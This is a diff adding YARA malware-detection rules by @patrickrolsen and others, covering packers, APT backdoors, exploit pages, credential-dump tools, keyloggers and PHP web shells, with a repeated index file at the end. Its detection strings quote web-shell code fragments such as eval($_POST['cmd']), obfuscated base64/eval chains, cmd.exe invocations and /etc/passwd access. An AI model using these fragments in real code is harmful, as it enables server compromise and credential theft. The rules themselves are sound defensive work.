+++ b/yara-mikesxrs/patrickrolsen/Armadillo_v1xx__v2xx.yar
@@ -0,0 +1,11 @@
+import "pe"
+
+rule _Armadillo_v1xx__v2xx
+{
+meta:
+	description = "Armadillo v1.xx - v2.xx"
+strings:
+	$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6}
+condition:
+	$0 at (pe.entry_point)
+}
diff --git a/yara-mikesxrs/patrickrolsen/Backdoor_APT_Mongall.yar b/yara-mikesxrs/patrickrolsen/Backdoor_APT_Mongall.yar
new file mode 100644
index 0000000..145a877
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/Backdoor_APT_Mongall.yar
@@ -0,0 +1,18 @@
+rule Backdoor_APT_Mongall
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Backdoor.APT.Mongall"
+	version = "0.1"
+	reference = "fd69a799e21ccb308531ce6056944842" 
+	description = "https://github.com/1aN0rmus/Yara"
+	date = "01/04/2014"
+strings:
+	$author  = "author user"
+	$title   = "title Vjkygdjdtyuj" nocase
+	$comp    = "company ooo"
+	$cretime = "creatim\\yr2012\\mo4\\dy19\\hr15\\min10"
+	$passwd  = "password 00000000"
+condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/CVE_2013_1347.yar b/yara-mikesxrs/patrickrolsen/CVE_2013_1347.yar
new file mode 100644
index 0000000..148a720
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/CVE_2013_1347.yar
@@ -0,0 +1,19 @@
+rule html_CVE_2013_1347
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "http://blogs.cisco.com/security/watering-hole-attacks-target-energy-sector"
+	hashes = "00ca490898740f9b6246e300ef0ee86f and dc681f380698b2e6dca7c49f699799ad"
+	date = "02/01/2014"
+strings:
+	$html = "html" wide ascii
+	$s1 = "DOropRAM" wide ascii
+	$s2 = "\\u9090\\u9090\\u9090\\u9090" wide ascii
+	$s3 = "shellcode" wide ascii
+	$s4 = "unicorn" wide ascii
+	$s5 = "helloWorld()" wide ascii
+	$s6 = "ANIMATECOLOR" wide ascii
+	$s7 = "UPXIgLvY" wide ascii
+condition:
+	$html and 3 of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/GIF_exploit.yar b/yara-mikesxrs/patrickrolsen/GIF_exploit.yar
new file mode 100644
index 0000000..d6e0e59
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/GIF_exploit.yar
@@ -0,0 +1,22 @@
+rule GIF_exploit
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "GIF Exploits"
+	version = "0.1"
+	reference = "code.google.com/p/caffsec-malware-analysis"
+	date = "2013-12-14"
+strings:
+	$magic = {47 49 46 38 ?? 61} // GIF8<version>a
+	$s1 = "; // md5 Login" nocase
+	$s2 = "; // md5 Password" nocase
+	$s3 = "shell_exec"
+	$s4 = "(base64_decode"
+	$s5 = "<?php"
+	$s6 = "(str_rot13"
+	$s7 = ".exe"
+	$s8 = ".dll"
+	$s9 = "eval($_"
+condition:
+	($magic at 0) and any of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/LNK_files.yar b/yara-mikesxrs/patrickrolsen/LNK_files.yar
new file mode 100644
index 0000000..ce0b2a4
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/LNK_files.yar
@@ -0,0 +1,20 @@
+rule malicious_LNK_files
+{
+strings:
+	$magic = {4C 00 00 00 01 14 02 00} // L.......
+	$s1 = "\\RECYCLER\\" wide
+	$s2 = "%temp%" wide
+	$s3 = "%systemroot%\\system32\\cmd.exe" wide
+	//$s4 = "./start" wide
+	$s5 = "svchost.exe" wide
+	$s6 = "lsass.exe" wide
+	$s7 = "csrss.exe" wide
+	$s8 = "winlogon.exe" wide
+	//$s9 = "%cd%" wide
+	$s10 = "%appdata%" wide
+	$s11 = "%programdata%" wide
+	$s12 = "%localappdata%" wide
+	$s13 = ".cpl" wide
+condition:
+	($magic at 0) and any of ($s*)
+}
diff --git a/yara-mikesxrs/patrickrolsen/PCAPs.yar b/yara-mikesxrs/patrickrolsen/PCAPs.yar
new file mode 100644
index 0000000..e6dd052
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/PCAPs.yar
@@ -0,0 +1,15 @@
+rule FE_PCAPs
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "N/A"
+	version = "0.1"
+	description = "Find FireEye PCAPs uploaded to Virus Total"
+	date = "12/30/2013"
+strings:
+	$magic = {D4 C3 B2 A1}
+	$ip1 = {0A 00 00 ?? C7 10 C7 ??} // "10.0.0.?? -> 199.16.199.??
+	$ip2 = {C7 10 C7 ?? 0A 00 00 ??} // "199.16.199.?? -> 10.0.0.??"
+condition:
+	$magic at 0 and all of ($ip*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/UPX_290_LZMA.yar b/yara-mikesxrs/patrickrolsen/UPX_290_LZMA.yar
new file mode 100644
index 0000000..39244ce
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/UPX_290_LZMA.yar
@@ -0,0 +1,12 @@
+import "pe"
+rule _UPX_290_LZMA
+{
+meta:
+	description = "UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser"
+strings:
+	$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB}
+	$1 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 ?? ?? ?? ?? 90 90}
+condition:
+	$0 at (pe.entry_point) or $1 at (pe.entry_point)
+}
+
diff --git a/yara-mikesxrs/patrickrolsen/UPX_Protector_v10x_2.yar b/yara-mikesxrs/patrickrolsen/UPX_Protector_v10x_2.yar
new file mode 100644
index 0000000..5e39fb0
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/UPX_Protector_v10x_2.yar
@@ -0,0 +1,9 @@
+rule _UPX_Protector_v10x_2
+{
+meta:
+	description = "UPX Protector v1.0x (2)"
+strings:
+	$0 = {EB ?? ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB}
+condition:
+	$0
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/UPX_V200V290.yar b/yara-mikesxrs/patrickrolsen/UPX_V200V290.yar
new file mode 100644
index 0000000..9152342
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/UPX_V200V290.yar
@@ -0,0 +1,9 @@
+rule _UPX_V200V290
+{
+meta:
+	description = "UPX V2.00-V2.90 -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+strings:
+	$0 = {FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+condition:
+	$0
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/UPX_v0896.yar b/yara-mikesxrs/patrickrolsen/UPX_v0896.yar
new file mode 100644
index 0000000..788d70e
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/UPX_v0896.yar
@@ -0,0 +1,11 @@
+import "pe"
+
+rule _UPX_v0896
+{
+meta:
+	description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22 DLL"
+strings:
+	$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+condition:
+	$0 at (pe.entry_point)
+}
diff --git a/yara-mikesxrs/patrickrolsen/acunetix_web_scanner.yar b/yara-mikesxrs/patrickrolsen/acunetix_web_scanner.yar
new file mode 100644
index 0000000..5f4bf51
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/acunetix_web_scanner.yar
@@ -0,0 +1,14 @@
+rule acunetix_web_scanner
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.1"
+	reference = "Acunetix Web Scanner"
+	date = "2013-12-14"
+strings:
+	$s =   "acunetix_wvs_security_test"
+	$s0 =  "testasp.vulnweb.com"
+	$s1 =  "GET /www.acunetix.tst"
+condition:
+	any of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/bcp_sql_tool.yar b/yara-mikesxrs/patrickrolsen/bcp_sql_tool.yar
new file mode 100644
index 0000000..862d758
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/bcp_sql_tool.yar
@@ -0,0 +1,18 @@
+rule bcp_sql_tool
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "iSIGHTPartners_ThreatScape_AA_KAPTOXA PDF - 3f00dd56b1dc9d9910a554023e868dac"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "BCP" nocase
+	$s2 = "SQLState = %s"
+	$s3 = "Warning = %s"
+	$s5 = ";database="
+	$s6 = "FIRE_TRIGGERS"
+
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
diff --git a/yara-mikesxrs/patrickrolsen/beep_remote_shell.yar b/yara-mikesxrs/patrickrolsen/beep_remote_shell.yar
new file mode 100644
index 0000000..9340641
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/beep_remote_shell.yar
@@ -0,0 +1,22 @@
+rule beep_remote_shell
+{
+	meta:
+	author = "@patrickrolsen"
+	reference = "0625b5b010a1acb92f02338b8e61bb34"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/29/2014"
+strings:
+	$mz = { 4d 5a }
+	$s1 = "%s\\admin$\\system32\\%s"
+	$s2 = "BeepService"
+	$s3 = "In ControlService"
+	$s4 = "In OpenScManager"
+	$s5 = "In CreateService"
+	$s6 = "Service is RUNNING"
+	$s7 = "Service is not running"
+	$s8 = "In DeleteService"
+	$s9 = "Remove the service OK"
+condition:
+	($mz at 0) and (all of ($s*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/blat_email_301.yar b/yara-mikesxrs/patrickrolsen/blat_email_301.yar
new file mode 100644
index 0000000..a359055
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/blat_email_301.yar
@@ -0,0 +1,10 @@
+rule blat_email_301
+{
+meta:
+	author = "@patrickrolsen"
+strings:
+	$s1 = {33 00 2E 00 30 00 2E 00 31} // 301 uni
+	$s2 = "Mar  7 2012"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
diff --git a/yara-mikesxrs/patrickrolsen/blazingtools.yar b/yara-mikesxrs/patrickrolsen/blazingtools.yar
new file mode 100644
index 0000000..1ef4260
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/blazingtools.yar
@@ -0,0 +1,12 @@
+rule blazingtools
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Blazing Tools - http://www.blazingtools.com (Keyloggers)"
+strings:
+	$s1 = "blazingtools.com"
+	$s2 = "Keystrokes" wide
+	$s3 = "Screenshots" wide
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/cmd_shell.yar b/yara-mikesxrs/patrickrolsen/cmd_shell.yar
new file mode 100644
index 0000000..d16c08b
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/cmd_shell.yar
@@ -0,0 +1,14 @@
+rule cmd_shell
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Windows CMD Shell"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "cmd.pdb"
+	$s2 = "CMD Internal Error %s"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*)) and filesize <= 380KB
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/dark_edition.yar b/yara-mikesxrs/patrickrolsen/dark_edition.yar
new file mode 100644
index 0000000..ae4d797
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/dark_edition.yar
@@ -0,0 +1,12 @@
+rule dark_edition
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "EXE"
+	version = "0.1"
+	reference = "Dark Edition" 
+strings:
+	$s1 = "[ Dark Edition ]" wide
+condition:
+    uint16(0) == 0x5A4D and $s1
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/dump_tool.yar b/yara-mikesxrs/patrickrolsen/dump_tool.yar
new file mode 100644
index 0000000..acd120e
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/dump_tool.yar
@@ -0,0 +1,15 @@
+rule dump_tool
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Related to pwdump6 and fgdump tools"
+strings:
+	$s1 = "lsremora"
+	$s2 = "servpw"
+	$s3 = "failed: %d"
+	$s4 = "fgdump"
+	$s5 = "fgexec"
+	$s6 = "fgexecpipe"
+condition:
+	uint16(0) == 0x5A4D and 3 of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/gsec_generic.yar b/yara-mikesxrs/patrickrolsen/gsec_generic.yar
new file mode 100644
index 0000000..4d141dc
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/gsec_generic.yar
@@ -0,0 +1,18 @@
+rule gsec_generic
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "GSec Dump"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/29/2014"
+strings:
+	$s1 = "gsecdump"
+	$s2 = "usage: gsecdump"
+	$s3 = "dump hashes from SAM//AD"
+	$s4 = "dump lsa secrets"
+	$s5 = "dump_"
+	$s6 = "dump all secrets"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
diff --git a/yara-mikesxrs/patrickrolsen/html_exploit_GIF.yar b/yara-mikesxrs/patrickrolsen/html_exploit_GIF.yar
new file mode 100644
index 0000000..9104e5f
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/html_exploit_GIF.yar
@@ -0,0 +1,15 @@
+rule html_exploit_GIF
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Web Shells"
+	version = "0.1"
+	reference = "code.google.com/p/caffsec-malware-analysis"
+	date = "2013-12-14"
+strings:
+	$magic = {47 49 46 38 ?? 61} // GIF8<version>a
+	$s1 = {3c 68 74 6d 6c 3e} // <html>
+	$s2 = {3c 48 54 4d 4c 3e} // <HTML>
+condition:
+	($magic at 0) and (any of ($s*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/jpg_web_shell.yar b/yara-mikesxrs/patrickrolsen/jpg_web_shell.yar
new file mode 100644
index 0000000..660c676
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/jpg_web_shell.yar
@@ -0,0 +1,17 @@
+/*
+rule jpg_web_shell
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.1"
+	data = "12/19/2013"
+	reference = "http://www.securelist.com/en/blog/208214192/Malware_in_metadata"
+strings:
+	$magic = { ff d8 ff e? } // e0, e1, e8
+	$s1 = "<script src"
+	$s2 = "/.*//*e"
+	$s3 = "base64_decode"
+condition:
+	($magic at 0) and 1 of ($s*)
+}  
+*/
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/keyfinder_tool.yar b/yara-mikesxrs/patrickrolsen/keyfinder_tool.yar
new file mode 100644
index 0000000..940e1d8
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/keyfinder_tool.yar
@@ -0,0 +1,13 @@
+rule keyfinder_tool
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Magical Jelly Bean KeyFinder"
+strings:
+	$s1 = "chgxp.vbs"
+	$s2 = "officekey.exe"
+	$s3 = "findkey.exe"
+	$s4 = "xpkey.exe"
+condition:
+	uint16(0) == 0x5A4D and 2 of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/luxnet.yar b/yara-mikesxrs/patrickrolsen/luxnet.yar
new file mode 100644
index 0000000..b7fd080
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/luxnet.yar
@@ -0,0 +1,14 @@
+rule luxnet
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "EXE"
+	version = "0.1"
+	reference = "Luxnet RAT - http://leak.sx/thread-254973" 
+strings:
+	$s1 = "XilluX" wide nocase
+	$s2 = "Xanity" wide nocase
+	$s3 = "PHP RAT Client" wide
+condition:
+    uint16(0) == 0x5A4D and 1 of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/misc_iocs.yar b/yara-mikesxrs/patrickrolsen/misc_iocs.yar
new file mode 100644
index 0000000..e13cec8
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/misc_iocs.yar
@@ -0,0 +1,14 @@
+rule misc_iocs
+{
+meta:
+	author = "@patrickrolsen"
+	maltype = "Misc."
+	version = "0.1"
+	reference = "N/A" 
+strings:
+	$doc = {D0 CF 11 E0} //DOCFILE0
+	$s1 = "dw20.exe"
+	$s2 = "cmd /"
+condition:
+    ($doc at 0) and (1 of ($s*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/misc_php_exploits.yar b/yara-mikesxrs/patrickrolsen/misc_php_exploits.yar
new file mode 100644
index 0000000..8e165a3
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/misc_php_exploits.yar
@@ -0,0 +1,32 @@
+rule misc_php_exploits
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.5"
+	data = "08/19/2014"
+	reference = "Virus Total Downloading PHP files and reviewing them..."
+strings:
+	$php = "<?php" nocase
+	$s1 = "eval(gzinflate(str_rot13(base64_decode("
+	$s2 = "eval(base64_decode("
+	$s3 = "eval(gzinflate(base64_decode("
+	$s4 = "cmd.exe /c"
+	$s5 = "eva1"
+	$s6 = "urldecode(stripslashes("
+	$s7 = "preg_replace(\"/.*/e\",\"\\x"
+	$s8 = "<?php echo \"<script>"
+	$s9 = "'o'.'w'.'s'" // 'Wi'.'nd'.'o'.'w'.'s'
+	$s10 = "preg_replace(\"/.*/\".'e',chr"
+	$s11 = "exp1ode"
+	$s12 = "cmdexec(\"killall ping;"
+	$s13 = "ms-mx.ru"
+	$s14 = "N3tsh_"
+	$s15 = "eval(\"?>\".gzinflate(base64_decode("
+	$s16 = "Your MySQL database has been backed up"
+	$s17 = "Idea Conceived By"
+	$s18 = "ncftpput -u $ftp_user_name -p $ftp_user_pass"
+	$s19 = "eval(gzinflate(base64_decode("
+	$s20 = "DTool Pro"
+condition:
+	not uint16(0) == 0x5A4D and $php and any of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/misc_shells.yar b/yara-mikesxrs/patrickrolsen/misc_shells.yar
new file mode 100644
index 0000000..d27f5a7
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/misc_shells.yar
@@ -0,0 +1,78 @@
+rule misc_shells
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.3"
+	data = "08/19/2014"
+strings:
+	$s1 = "second stage dropper"
+	$s2 = "SO dumped "
+	$s3 = "killall -9 "
+	$s4 = "1.sh"
+	$s5 = "faim.php"
+	$s6 = "file_get_contents("
+	$s7 = "$auth_pass ="
+	$s8 = "eval($" // Possible FPs
+	$s9 = "Find *config*.php"
+	$s10 = "Show running services"
+	$s11 = "Show computers"
+	$s12 = "Show active connections"
+	$s13 = "ARP Table"
+	$s14 = "Last Directory"
+	$s15 = ".htpasswd files"
+	$s16 = "suid files"
+	$s17 = "writable folders"
+	$s18 = "config* files"
+	$s19 = "show opened ports"
+	$s20 = ".pwd files"
+	$s21 = "locate config."
+	$s22 = "history files"
+	$s23 = "<?php @eval($_POST['cmd']);?>"
+	$s24 = "securityprobe.net"
+	$s25 = "ccteam.ru"
+	$s26 = "c99sh_sources"
+	$s27 = "c99mad"
+	$s28 = "31373"
+	$s29 = "c99_sess_put"
+	$s30 = "(\"fs_move_"
+	$s31 = "c99sh_bindport_"
+	$s32 = "mysql_dump"
+	$s33 = "Change this to your password"
+	$s34 = "ps -aux"
+	$s35 = "p4ssw0rD"
+	$s36 = "Ajax Command Shell by"
+	$s37 = "greetings to everyone in rootshell"
+	$s38 = "We now update $work_dir to avoid things like"
+	$s39 = "ls looks much better with"
+	$s40 = "I Always Love Sha"
+	$s41 = "fileperm=substr(base_convert(fileperms"
+	$s42 = "W A R N I N G: Private Server"
+	$s43 = "for power security"
+	$s44 = "[kalabanga]"
+	$s45 = "GO.cgi"
+	$s46 = "eval(gzuncompress(base64_decode("
+	$s47 = "ls -lah"
+	$s48 = "uname -a"
+	$s49 = "imageshack.us"
+	$s50 = "For Server Hacking"
+	$s51 = "Private Exploit"
+	$s52 = "chunk_split(base64_encode("
+	$s53 = "ending mail to $to......."
+	$s54 = "Mysql interface"
+	$s55 = "MySQL Database Backup"
+	$s56 = "mysql_tool.php?act=logout"
+	$s57 = "Directory Lister"
+	$s58 = "username and pass here"
+	$s59 = "echo base64_decode($"
+	$s60 = "get_current_user("
+	$s61 = "hey,specify directory!"
+	$s62 = "execute command:"
+	$s63 = "FILE UPLOADED TO $"
+	$s64 = "This server has been infected by"
+	$s65 = "Safe_Mode Bypass"
+	$s66 = "Safe Mode Shell"
+	$s67 = "CMD ExeCute"
+	$s68 = "/etc/passwd"
+condition:
+	not uint16(0) == 0x5A4D and any of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/monitor_tool_pos.yar b/yara-mikesxrs/patrickrolsen/monitor_tool_pos.yar
new file mode 100644
index 0000000..8d4b6e6
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/monitor_tool_pos.yar
@@ -0,0 +1,17 @@
+rule monitor_tool_pos
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "POS malware - Monitoring Tool??"
+strings:
+	$s1 = "RCPT TO"
+	$s2 = "MAIL FROM"
+	$s3 = "AUTH LOGIN"
+	$s4 = "Reply-To"
+	$s5 = "X-Mailer"
+	$s6 = "crypto"
+	$s7 = "test335.txt" wide
+	$s8 = "/c del"
+condition:
+	uint16(0) == 0x5A4D and 7 of ($s*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/mpress_2_xx_net _ Packer.yar b/yara-mikesxrs/patrickrolsen/mpress_2_xx_net _ Packer.yar
new file mode 100644
index 0000000..dabd2ae
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/mpress_2_xx_net _ Packer.yar	
@@ -0,0 +1,11 @@
+rule mpress_2_xx_net : Packer
+{
+meta:
+	author="Kevin Falcoz"
+	date_create="24/03/2013"
+	description="MPRESS v2.XX .NET"
+strings:
+	$signature1={21 46 00 69 00 6C 00 65 00 20 00 69 00 73 00 20 00 69 00 6E 00 76 00 61 00 6C 00 69 00 64 00 2E 00 00 0D 4D 00 50 00 52 00 45 00 53 00 53 00 00 00 00 00 2D 2D 93 6B 35 04 2E 43 85 EF}
+condition:
+	$signature1
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/mpress_2_xx_x64 _ Packer.yar b/yara-mikesxrs/patrickrolsen/mpress_2_xx_x64 _ Packer.yar
new file mode 100644
index 0000000..5ca4328
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/mpress_2_xx_x64 _ Packer.yar	
@@ -0,0 +1,15 @@
+import "pe"
+
+rule mpress_2_xx_x64 : Packer
+{
+meta:
+	author="Kevin Falcoz"
+	date_create="19/03/2013"
+	last_edit="24/03/2013"
+	description="MPRESS v2.XX x64  - no .NET"
+
+strings:
+	$signature1={57 56 53 51 52 41 50 48 8D 05 DE 0A 00 00 48 8B 30 48 03 F0 48 2B C0 48 8B FE 66 AD C1 E0 0C 48 8B C8 50 AD 2B C8 48 03 F1 8B C8 57 44 8B C1 FF C9 8A 44 39 06 88 04 31} 
+condition:
+	$signature1 at (pe.entry_point)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/mpress_2_xx_x86 _ Packer.yar b/yara-mikesxrs/patrickrolsen/mpress_2_xx_x86 _ Packer.yar
new file mode 100644
index 0000000..73210af
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/mpress_2_xx_x86 _ Packer.yar	
@@ -0,0 +1,14 @@
+import "pe"
+rule mpress_2_xx_x86 : Packer
+{
+meta:
+	author="Kevin Falcoz"
+	date_create="19/03/2013"
+	last_edit="24/03/2013"
+	description="MPRESS v2.XX x86  - no .NET"
+
+strings:
+	$signature1={60 E8 00 00 00 00 58 05 5A 0B 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 50 AD 2B C8 03 F1 8B C8 57 51 49 8A 44 39 06 88 04 31 75 F6 2B C0 AC 8B C8 80 E1 F0 24} 
+condition:
+	$signature1 at (pe.entry_point)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/nbtscan.yar b/yara-mikesxrs/patrickrolsen/nbtscan.yar
new file mode 100644
index 0000000..84c291e
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/nbtscan.yar
@@ -0,0 +1,16 @@
+rule nbtscan
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "nbtscan"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "nbtscan" nocase
+	$s2 = "subnet /%d"
+	$s3 = "invalid target"
+	$s4 = "usage: %s"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/patrickrolsen/osql_tool.yar b/yara-mikesxrs/patrickrolsen/osql_tool.yar
new file mode 100644
index 0000000..d2b89e1
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/osql_tool.yar
@@ -0,0 +1,16 @@
+rule osql_tool
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "O/I SQL - SQL query tool"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "osql\\src"
+	$s2 = "OSQLUSER"
+	$s3 = "OSQLPASSWORD"
+	$s4 = "OSQLSERVER"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
diff --git a/yara-mikesxrs/patrickrolsen/patrickrolsen_index.yara b/yara-mikesxrs/patrickrolsen/patrickrolsen_index.yara
new file mode 100644
index 0000000..88df3d8
--- /dev/null
+++ b/yara-mikesxrs/patrickrolsen/patrickrolsen_index.yara
@@ -0,0 +1,1460 @@
+import "pe"
+
+rule acunetix_web_scanner
+{
+meta:
+	author = "@patrickrolsen"
+	version = "0.1"
+	reference = "Acunetix Web Scanner"
+	date = "2013-12-14"
+strings:
+	$s =   "acunetix_wvs_security_test"
+	$s0 =  "testasp.vulnweb.com"
+	$s1 =  "GET /www.acunetix.tst"
+condition:
+	any of ($s*)
+}
+
+rule _Armadillo_v1xx__v2xx
+{
+meta:
+	description = "Armadillo v1.xx - v2.xx"
+strings:
+	$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6}
+condition:
+	$0 at (pe.entry_point)
+}
+
+rule bcp_sql_tool
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "iSIGHTPartners_ThreatScape_AA_KAPTOXA PDF - 3f00dd56b1dc9d9910a554023e868dac"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "BCP" nocase
+	$s2 = "SQLState = %s"
+	$s3 = "Warning = %s"
+	$s5 = ";database="
+	$s6 = "FIRE_TRIGGERS"
+
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+
+rule beep_remote_shell
+{
+	meta:
+	author = "@patrickrolsen"
+	reference = "0625b5b010a1acb92f02338b8e61bb34"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/29/2014"
+strings:
+	$mz = { 4d 5a }
+	$s1 = "%s\\admin$\\system32\\%s"
+	$s2 = "BeepService"
+	$s3 = "In ControlService"
+	$s4 = "In OpenScManager"
+	$s5 = "In CreateService"
+	$s6 = "Service is RUNNING"
+	$s7 = "Service is not running"
+	$s8 = "In DeleteService"
+	$s9 = "Remove the service OK"
+condition:
+	($mz at 0) and (all of ($s*))
+}
+
+rule blat_email_301
+{
+meta:
+	author = "@patrickrolsen"
+strings:
+	$s1 = {33 00 2E 00 30 00 2E 00 31} // 301 uni
+	$s2 = "Mar  7 2012"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*))
+}
+
+
+rule blazingtools
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Blazing Tools - http://www.blazingtools.com (Keyloggers)"
+strings:
+	$s1 = "blazingtools.com"
+	$s2 = "Keystrokes" wide
+	$s3 = "Screenshots" wide
+condition:
+	uint16(0) == 0x5A4D and all of ($s*)
+}
+
+rule cmd_shell
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "Windows CMD Shell"
+	filetype = "EXE"
+	version = "0.1"
+	date = "1/30/2014"
+strings:
+	$s1 = "cmd.pdb"
+	$s2 = "CMD Internal Error %s"
+condition:
+	uint16(0) == 0x5A4D and (all of ($s*)) and filesize <= 380KB
+}
+
+rule html_CVE_2013_1347
+{
+meta:
+	author = "@patrickrolsen"
+	reference = "http://blogs.cisco.com/security/watering-hole-attacks-target-energy-sector"
+	hashes = "00ca490898740f9b6246e300ef0ee86f and dc681f380698b2e6dca7c49f699799ad"
+	date = "02/01/2014"
+strings:
+	$html = "html" wide ascii
+	$s1 = "DOropRAM" wide ascii
